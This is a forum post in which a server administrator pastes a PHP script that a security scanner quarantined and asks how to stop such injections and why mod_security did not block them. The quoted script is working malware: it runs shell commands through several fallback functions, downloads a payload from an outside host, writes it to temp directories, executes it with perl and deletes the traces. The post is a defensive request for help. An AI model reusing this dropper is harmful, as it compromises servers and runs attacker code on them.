Sergio,
The file you reference was from a different user - however in my situation the referenced (as it appears in MY emails) does NOT exist in /tmp.
I have enabled the quarantine and below is a copy of the script that was quarantined.
Code:
<?php
ignore_user_abort(1);
set_time_limit(0);
function ex($cfe){
$res = "";
if (!empty($cfe)){
if(function_exists("exec")){
exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists("shell_exec")){
$res = shell_exec($cfe);
}
elseif(function_exists("system")){
ob_start();
system($cfe);
$res = ob_get_contents();
ob_end_clean();
}
elseif(function_exists("passthru")){
ob_start();
passthru($cfe);
$res = ob_get_contents();
ob_end_clean();
}
elseif(is_resource($f = popen($cfe,"r"))){
$res = "";
while(!feof($f)) { $res .= fread($f,1024); }
pclose($f);
}}
return $res;
}
$fileorkut="http://renata.truehosting.com.br/sess_111269b2f548ca6564869bedec335112";
$handle = fopen($fileorkut, "rb");
$tudao = "";
while (!feof($handle)) {
$tudao .= fread($handle, 8192);
}
fclose($handle);
$handle=fopen("/tmp/sess_111269b2f548ca6564869bedec335112", "w+");
fwrite($handle, $tudao);
fclose($handle);
$handle=fopen("/var/tmp/sess_111269b2f548ca6564869bedec335112", "w+");
fwrite($handle, $tudao);
fclose($handle);
$handle=fopen("/dev/shm/sess_111269b2f548ca6564869bedec335112", "w+");
fwrite($handle, $tudao);
fclose($handle);
echo ex("cd /tmp;perl sess_111269b2f548ca6564869bedec335112");
echo ex("cd /var/tmp;perl sess_111269b2f548ca6564869bedec335112");
echo ex("cd /dev/shm;perl sess_111269b2f548ca6564869bedec335112");
echo ex("cd /tmp;rm sess_111269b2f548ca6564869bedec335112");
echo ex("cd /var/tmp;rm sess_111269b2f548ca6564869bedec335112");
echo ex("cd /dev/shm;rm sess_111269b2f548ca6564869bedec335112");
?>
Obviously this script is being uploaded but or injected.
I can deny all the IPs where this comes from, but that isn't a solution.
Ok so CXS "catches" this - but now the question becomes - how does one stop this form happening. I would have thought that mod security would have trapped and eliminated this. Am I misunderstanding something - did modsec disallow this? It shows in the modsec event list.
Any clarity would be greatly appreciated.
Much thanks in advance.
